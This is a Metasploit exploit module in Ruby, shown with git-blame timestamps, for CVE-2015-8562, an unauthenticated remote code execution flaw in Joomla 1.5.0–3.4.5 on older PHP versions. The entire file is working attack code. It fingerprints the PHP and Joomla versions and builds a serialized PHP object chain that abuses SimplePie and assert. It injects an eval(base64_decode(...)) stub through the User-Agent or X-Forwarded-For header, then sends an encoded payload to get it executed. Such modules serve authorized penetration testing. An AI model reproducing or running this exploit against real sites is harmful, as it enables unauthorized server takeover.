metasploit-framework/modules/exploits/multi/http/joomla_http_header_rce.rb

191 lines
7.7 KiB
Ruby
Raw Normal View History

2015-12-15 16:20:49 +00:00
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
2015-12-16 19:31:43 +00:00
Rank = ExcellentRanking
2015-12-15 16:20:49 +00:00
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Joomla HTTP Header Unauthenticated Remote Code Execution',
'Description' => %q{
2015-12-16 06:03:01 +00:00
Joomla suffers from an unauthenticated remote code execution that affects all versions from 1.5.0 to 3.4.5.
2015-12-15 16:20:49 +00:00
By storing user supplied headers in the databases session table it's possible to truncate the input
by sending an UTF-8 character. The custom created payload is then executed once the session is read
2015-12-16 05:42:41 +00:00
from the databse. You also need to have a PHP version before 5.4.45 (including 5.3.x), 5.5.29 or 5.6.13.
In later versions the deserialisation of invalid session data stops on the first error and the
2015-12-16 14:19:33 +00:00
exploit will not work. The PHP Patch was included in Ubuntu versions 5.5.9+dfsg-1ubuntu4.13 and
5.3.10-1ubuntu3.20 and in Debian in version 5.4.45-0+deb7u1.
2015-12-15 16:20:49 +00:00
},
'Author' =>
[
'Marc-Alexandre Montpas', # discovery
'Christian Mehlmauer' # metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2015-8562'],
['URL', 'https://blog.sucuri.net/2015/12/joomla-remote-code-execution-the-details.html'],
['URL', 'https://blog.sucuri.net/2015/12/remote-command-execution-vulnerability-in-joomla.html'],
['URL', 'https://developer.joomla.org/security-centre/630-20151214-core-remote-code-execution-vulnerability.html'],
['URL', 'https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=http%3A%2F%2Fdrops.wooyun.org%2Fpapers%2F11330'],
2015-12-16 05:42:41 +00:00
['URL', 'https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=http%3A%2F%2Fwww.freebuf.com%2Fvuls%2F89754.html'],
['URL', 'https://bugs.php.net/bug.php?id=70219']
2015-12-15 16:20:49 +00:00
],
'Privileged' => false,
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [['Joomla 1.5.0 - 3.4.5', {}]],
2015-12-15 16:20:49 +00:00
'DisclosureDate' => 'Dec 14 2015',
'DefaultTarget' => 0)
2015-12-16 05:57:06 +00:00
)
2015-12-15 16:20:49 +00:00
register_options(
[
OptString.new('TARGETURI', [ true, 'The path to joomla', '/' ]),
OptEnum.new('HEADER', [ true, 'The header to use for exploitation', 'USER-AGENT', [ 'USER-AGENT', 'X-FORWARDED-FOR' ]])
], self.class)
2015-12-16 19:31:43 +00:00
register_advanced_options(
[
OptBool.new('FORCE', [true, 'Force run even if check reports the service is safe.', false]),
], self.class)
2015-12-15 16:20:49 +00:00
end
2015-12-15 17:03:36 +00:00
def check
res = send_request_cgi({'uri' => target_uri.path })
unless res
vprint_error("Connection timed out")
return Exploit::CheckCode::Unknown
end
unless res.headers['X-Powered-By']
vprint_error("Unable to determine the PHP version.")
return Exploit::CheckCode::Unknown
end
2015-12-16 12:49:07 +00:00
php_version, rest = res.headers['X-Powered-By'].scan(/PHP\/([\d\.]+)(?:-(.+))?/i).flatten || ''
2015-12-16 12:04:15 +00:00
version = Gem::Version.new(php_version)
2015-12-15 23:18:39 +00:00
vulnerable = false
2015-12-16 14:19:33 +00:00
# check for ubuntu and debian specific versions. Was fixed in
2015-12-16 13:02:26 +00:00
# * 5.5.9+dfsg-1ubuntu4.13
# * 5.3.10-1ubuntu3.20
2015-12-16 14:19:33 +00:00
# * 5.4.45-0+deb7u1
# Changelogs (search for CVE-2015-6835 or #70219):
2015-12-16 13:02:26 +00:00
# http://changelogs.ubuntu.com/changelogs/pool/main/p/php5/php5_5.5.9+dfsg-1ubuntu4.13/changelog
# http://changelogs.ubuntu.com/changelogs/pool/main/p/php5/php5_5.3.10-1ubuntu3.20/changelog
2015-12-16 14:19:33 +00:00
# http://metadata.ftp-master.debian.org/changelogs/main/p/php5/php5_5.4.45-0+deb7u2_changelog
2015-12-16 13:02:26 +00:00
if rest && rest.include?('ubuntu')
2015-12-16 12:49:07 +00:00
sub_version = rest.scan(/^\dubuntu([\d\.]+)/i).flatten.first || ''
2015-12-16 19:31:43 +00:00
vprint_status("Found Ubuntu PHP version #{res.headers['X-Powered-By']}")
2015-12-16 13:02:26 +00:00
2015-12-16 13:18:44 +00:00
if version > Gem::Version.new('5.5.9')
2015-12-16 12:49:07 +00:00
vulnerable = false
2015-12-16 13:18:44 +00:00
elsif version == Gem::Version.new('5.5.9') && Gem::Version.new(sub_version) >= Gem::Version.new('4.13')
vulnerable = false
elsif version == Gem::Version.new('5.3.10') && Gem::Version.new(sub_version) >= Gem::Version.new('3.20')
vulnerable = false
else
vulnerable = true
2015-12-16 12:49:07 +00:00
end
2015-12-16 14:19:33 +00:00
elsif rest && rest.include?('+deb')
sub_version = rest.scan(/^\d+\+deb([\du]+)/i).flatten.first || ''
2015-12-16 19:31:43 +00:00
vprint_status("Found Debian PHP version #{res.headers['X-Powered-By']}")
2015-12-16 14:19:33 +00:00
if version > Gem::Version.new('5.4.45')
vulnerable = false
elsif version == Gem::Version.new('5.4.45') && sub_version != '7u1'
vulnerable = false
else
vulnerable = true
end
2015-12-16 13:18:44 +00:00
else
2015-12-16 19:31:43 +00:00
vprint_status("Found PHP version #{res.headers['X-Powered-By']}")
2015-12-16 13:18:44 +00:00
vulnerable = true if version <= Gem::Version.new('5.4.44')
vulnerable = true if version.between?(Gem::Version.new('5.5.0'), Gem::Version.new('5.5.28'))
vulnerable = true if version.between?(Gem::Version.new('5.6.0'), Gem::Version.new('5.6.12'))
2015-12-16 12:49:07 +00:00
end
2015-12-15 23:18:39 +00:00
unless vulnerable
2015-12-15 17:03:36 +00:00
vprint_error('This module currently does not work against this PHP version')
return Exploit::CheckCode::Safe
end
2015-12-16 15:16:59 +00:00
res = send_request_cgi({'uri' => normalize_uri(target_uri.path, 'administrator', 'manifests', 'files', 'joomla.xml') })
if res && res.code == 200 && res.body && res.body.include?('<author>Joomla! Project</author>')
joomla_version = res.body.scan(/<version>([\d\.]+)<\/version>/i).flatten.first || ''
2015-12-16 19:31:43 +00:00
unless joomla_version.empty?
vprint_status("Detected Joomla version #{joomla_version}")
return Exploit::CheckCode::Appears if Gem::Version.new(joomla_version) < Gem::Version.new('3.4.6')
2015-12-16 15:16:59 +00:00
end
end
2015-12-15 17:03:36 +00:00
res.get_html_meta_elements.each do |element|
if element.attributes['name'] &&
/^generator$/i === element.attributes['name'] &&
element.attributes['content'] &&
/joomla/i === element.attributes['content'].value
return Exploit::CheckCode::Detected
end
end
2015-12-16 19:31:43 +00:00
Exploit::CheckCode::Safe
2015-12-15 17:03:36 +00:00
end
# gets a random 4 byte UTF-8 character
def get_terminator
# valid codepoints for 4byte UTF-8 chars: U+010000 - U+10FFFF
[rand(0x10000..0x10ffff)].pack('U*')
end
2015-12-16 21:44:01 +00:00
def get_payload(header_name)
2015-12-15 16:20:49 +00:00
pre = "#{Rex::Text.rand_text_alpha(5)}}__#{Rex::Text.rand_text_alpha(10)}|"
pre_pay = 'O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";'
2015-12-16 21:44:01 +00:00
pay = "eval(base64_decode($_SERVER['HTTP_#{header_name}']));JFactory::getConfig();exit;"
post_pay = '";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}'
t1000 = get_terminator
return "#{pre}#{pre_pay}s:#{pay.length}:\"#{pay}#{post_pay}#{t1000}"
2015-12-15 16:20:49 +00:00
end
2015-12-15 17:03:36 +00:00
def print_status(msg='')
super("#{peer} - #{msg}")
end
def print_error(msg='')
super("#{peer} - #{msg}")
end
2015-12-15 16:20:49 +00:00
def exploit
2015-12-16 19:31:43 +00:00
if check == Exploit::CheckCode::Safe && datastore['FORCE'] == false
2015-12-15 17:03:36 +00:00
print_error('Target seems safe, so we will not continue.')
return
end
2015-12-15 16:20:49 +00:00
print_status("Sending payload ...")
2015-12-16 21:44:01 +00:00
header_name = Rex::Text.rand_text_alpha_upper(5)
2015-12-15 16:20:49 +00:00
res = send_request_cgi({
2015-12-16 05:57:06 +00:00
'method' => 'GET',
'uri' => target_uri.path,
2015-12-16 21:44:01 +00:00
'headers' => { datastore['HEADER'] => get_payload(header_name) }
2015-12-15 16:20:49 +00:00
})
2015-12-16 12:52:06 +00:00
fail_with(Failure::Unknown, 'No response') if res.nil?
2015-12-15 16:20:49 +00:00
session_cookie = res.get_cookies
2015-12-16 12:52:06 +00:00
send_request_cgi({
2015-12-16 05:57:06 +00:00
'method' => 'GET',
'uri' => target_uri.path,
'cookie' => session_cookie,
2015-12-15 16:20:49 +00:00
'headers' => {
2015-12-16 21:44:01 +00:00
header_name => Rex::Text.encode_base64(payload.encoded)
2015-12-15 16:20:49 +00:00
}
})
end
end